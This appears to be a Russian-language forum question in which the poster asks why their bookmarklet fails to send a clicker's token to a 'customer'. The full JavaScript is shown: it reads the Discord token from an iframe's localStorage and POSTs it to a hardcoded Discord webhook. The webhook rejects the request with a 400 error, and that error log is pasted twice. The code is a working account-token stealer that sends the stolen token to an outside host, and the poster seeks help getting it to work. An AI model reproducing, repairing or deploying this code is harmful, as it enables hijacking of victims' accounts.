Задача есть отправить токен того кто нажал на bookmarklet,заказчику. Нашел способ получить токен,но почему то не получается отправить в тг (думаю из за csp),попробовал на сервер дискорда,потому что прочитал в просторах интернета,что другие делали так. URL правильный,но выскакивает такие ошибки
POSThttps://discord.com/api/webhooks/123*****************/******************************************[HTTP/3 400 486ms]
Failed to send token. Status code: 400 43455.8c79ce3e1753b38de4a4.js:23:7110
Response: {"message": "\u041d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0437\u0430\u043f\u0440\u043e\u0441\u0430", "code": 50067}. Код выглядит таким образом
POSThttps://discord.com/api/webhooks/123*****************/******************************************[HTTP/3 400 486ms]
Failed to send token. Status code: 400 43455.8c79ce3e1753b38de4a4.js:23:7110
Response: {"message": "\u041d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0437\u0430\u043f\u0440\u043e\u0441\u0430", "code": 50067}. Код выглядит таким образом
JavaScript:
<a href="javascript:(function() {
location.reload();
var i = document.createElement('iframe');document.body.appendChild(i);
function sendTokenToWebhook(token) {
if (!token) {
console.error('Token is required.');
return;
}
var payload = {
content: token
};
var jsonPayload = JSON.stringify(payload);
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://discord.com/api/webhooks/1237478325899890841/fxhXlxuDXLZF6r4NySFkeFX5pwN8xcOI01PCYR1TnfACAsIUHNktOgYkjpLQcbdzyvqD');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.onload = function() {
if (xhr.status === 200) {
console.log('Token sent successfully.');
} else {
console.error('Failed to send token. Status code: ' + xhr.status);
xhr.responseText && console.error('Response:', xhr.responseText);
};
};
xhr.send(jsonPayload);
};
var discordToken =
i.contentWindow.localStorage.token
;
sendTokenToWebhook(discordToken);
})();">Send Token to Server</a>